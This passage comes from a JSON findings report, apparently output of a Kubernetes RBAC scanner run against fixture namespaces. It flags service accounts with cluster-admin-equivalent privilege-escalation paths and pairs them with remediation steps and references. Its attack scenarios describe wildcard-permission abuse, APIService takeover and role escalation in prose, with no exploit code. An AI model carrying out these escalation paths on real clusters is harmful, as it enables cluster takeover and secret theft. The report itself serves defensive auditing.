      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-parallel-a",
        "source_role": "cluster-admin"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-parallel-b",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/deepchain-tenant/deepchain-privileged:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-privileged` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-privileged` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-privileged` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-privileged` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/deepchain-tenant/deepchain-privileged` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/deepchain-tenant/deepchain-privileged` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-privileged` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "deepchain-privileged",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/flux-system/kustomize-controller:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flux-system/kustomize-controller` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/flux-system/kustomize-controller` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/flux-system/kustomize-controller` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flux-system/kustomize-controller` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/flux-system/kustomize-controller` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/flux-system/kustomize-controller` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/flux-system/kustomize-controller` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/flux-system/kustomize-controller` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "deepchain-flux-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/foothold-exec/foothold-decoy-sa:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-decoy-sa` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-decoy-sa` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-decoy-sa` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-exec/foothold-decoy-sa` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/foothold-exec/foothold-decoy-sa` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/hookbackend-fixtures/apisvc-installer:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/apisvc-installer` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/apisvc-installer` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/hookbackend-fixtures/apisvc-installer` → `/` via `apiservice_takeover` (get,list,update apiservices): can re-point any API group's registration, native groups included, at a Service it controls, so the API server forwards that group's requests and its own credentials there\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "apisvc-installer",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/apisvc-installer` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/hookbackend-fixtures/apisvc-installer` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/hookbackend-fixtures/apisvc-installer` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/hookbackend-fixtures/apisvc-installer`, the attacker rewrites an APIService registration (`get,list,update apiservices`) so that an API group is served by a Service it controls. The aggregator forwards every request for that group, with the API server's front-proxy credentials and the caller's identity, to that Service. For a native group this is the API server's own authority handed over; for an aggregated group it is that group's whole request stream.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. apiservice_takeover [get,list,update apiservices]"
      ],
      "first_action": "apiservice_takeover",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "apiservice_takeover"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `get,list,update apiservices` that enables the first hop (`ServiceAccount/hookbackend-fixtures/apisvc-installer` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `get,list,update apiservices` that enables the first hop (`ServiceAccount/hookbackend-fixtures/apisvc-installer` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "apiservice_takeover",
        "technique": "KUBE-PRIVESC-020",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "apisvc-installer",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,update apiservices",
        "gains": "can re-point any API group's registration, native groups included, at a Service it controls, so the API server forwards that group's requests and its own credentials there",
        "source_binding": "crb-apisvc-installer",
        "source_role": "cr-apisvc-installer"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-bind-escalate:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-bind-escalate` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-bind-escalate` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-bind-escalate` → `/` via `bind_or_escalate` (create/update (cluster)roles + escalate): can widen a role it is already bound to, holding the `escalate` verb that lifts RBAC escalation prevention\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-bind-escalate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
